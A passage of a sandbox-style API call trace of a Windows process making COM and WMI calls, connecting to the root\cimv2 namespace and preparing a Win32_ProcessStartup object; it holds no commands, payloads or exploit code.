(This=0x1a9f5df0) returned 0x0 [0152.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc94330) returned 0x0 [0152.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0152.071] WbemDefPath:IUnknown:AddRef (This=0x1bc94330) returned 0x3 [0152.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0152.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0152.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1a9f5d70) returned 0x0 [0152.072] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f5d70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.072] WbemDefPath:IUnknown:Release (This=0x1a9f5d70) returned 0x3 [0152.072] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0152.072] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0152.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0152.072] WbemDefPath:IUnknown:Release (This=0x1bc94330) returned 0x2 [0152.072] WbemDefPath:IUnknown:Release (This=0x1bc94330) returned 0x1 [0152.072] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0152.072] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0152.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94330, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc94330) returned 0x0 [0152.072] WbemDefPath:IUnknown:AddRef (This=0x1bc94330) returned 0x3 [0152.072] WbemDefPath:IUnknown:Release (This=0x1bc94330) returned 0x2 [0152.072] WbemDefPath:IWbemPath:SetText (This=0x1bc94330, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0152.072] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94330, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0152.072] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94330, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0152.072] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94330, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.072] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0152.072] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0152.072] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0152.072] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.073] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1a9f6390) returned 0x0 [0152.073] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6390, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0152.073] WbemLocator:IClassFactory:CreateInstance (in: This=0x1a9f6390, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1a9f6330) returned 0x0 [0152.073] WbemLocator:IUnknown:Release (This=0x1a9f6390) returned 0x0 [0152.073] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1a9f6330) returned 0x0 [0152.073] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0152.074] WbemLocator:IUnknown:AddRef (This=0x1a9f6330) returned 0x3 [0152.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0152.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0152.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0152.074] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0152.074] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0152.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0152.074] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x2 [0152.074] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x1 [0152.074] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0152.074] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0152.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1a9f6330) returned 0x0 [0152.074] WbemLocator:IUnknown:AddRef (This=0x1a9f6330) returned 0x3 [0152.074] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x2 [0152.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94330, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0152.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94330, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0152.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94330, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.074] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc41780) returned 0x0 [0152.074] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc41780, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc36ba0) returned 0x0 [0152.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36ba0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdc500) returned 0x0 [0152.408] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdc500, pProxy=0x1bc36ba0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0152.408] WbemLocator:IUnknown:Release (This=0x1bbdc500) returned 0x1 [0152.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36ba0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdc540) returned 0x0 [0152.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36ba0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdc500) returned 0x0 [0152.408] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdc500, pProxy=0x1bc36ba0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0152.408] WbemLocator:IUnknown:Release (This=0x1bbdc500) returned 0x2 [0152.408] WbemLocator:IUnknown:Release (This=0x1bbdc540) returned 0x1 [0152.408] CoTaskMemFree (pv=0x1aa16a70) [0152.408] WbemLocator:IUnknown:AddRef (This=0x1bc36ba0) returned 0x2 [0152.408] WbemLocator:IUnknown:Release (This=0x1bc41780) returned 0x0 [0152.409] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0152.409] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0152.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36ba0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdc510) returned 0x0 [0152.409] WbemLocator:IRpcOptions:Query (in: This=0x1bbdc510, pPrx=0x1bc41860, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0152.409] WbemLocator:IUnknown:Release (This=0x1bbdc510) returned 0x2 [0152.409] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0152.409] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0152.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36ba0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc36ba0) returned 0x0 [0152.410] WbemLocator:IUnknown:Release (This=0x1bc36ba0) returned 0x2 [0152.410] SysStringLen (param_1=0x0) returned 0x0 [0152.410] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0152.410] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0152.410] IWbemServices:GetObject (in: This=0x1bc36ba0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bcf3e90, ppCallResult=0x0) returned 0x0 [0152.507] IWbemClassObject:Get (in: This=0x1bcf3e90, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0152.507] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0152.507] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0152.507] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0152.507] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0152.508] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0152.508] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.509] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc41780) returned 0x0 [0152.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc41780, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0152.510] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc41780, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc94270) returned 0x0 [0152.510] WbemDefPath:IUnknown:Release (This=0x1bc41780) returned 0x0 [0152.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc94270) returned 0x0 [0152.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0152.510] WbemDefPath:IUnknown:AddRef (This=0x1bc94270) returned 0x3 [0152.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0152.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0152.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc41880) returned 0x0 [0152.510] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc41880, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.510] WbemDefPath:IUnknown:Release (This=0x1bc41880) returned 0x3 [0152.511] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0152.511] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0152.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0152.511] WbemDefPath:IUnknown:Release (This=0x1bc94270) returned 0x2 [0152.511] WbemDefPath:IUnknown:Release (This=0x1bc94270) returned 0x1 [0152.511] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0152.511] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0152.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94270, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc94270) returned 0x0 [0152.511] WbemDefPath:IUnknown:AddRef (This=0x1bc94270) returned 0x3 [0152.511] WbemDefPath:IUnknown:Release (This=0x1bc94270) returned 0x2 [0152.511] WbemDefPath:IWbemPath:SetText (This=0x1bc94270, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0152.511] IWbemClassObject:Get (in: This=0x1bcf3e90, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2800e50*=0, plFlavor=0x2800e54*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2800e50*=19, plFlavor=0x2800e54*=0) returned 0x0 [0152.511] IWbemClassObject:Get (in: This=0x1bcf3e90, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2800e50*=19, plFlavor=0x2800e54*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2800e50*=19, plFlavor=0x2800e54*=0) returned 0x0 [0152.511] IWbemClassObject:Put (This=0x1bcf3e90, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0152.512] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc944b0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0152.512] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0152.512] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0152.512] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.512] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0152.512] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0152.512] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0152.512] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.514] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc416c0) returned 0x0 [0152.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc416c0, 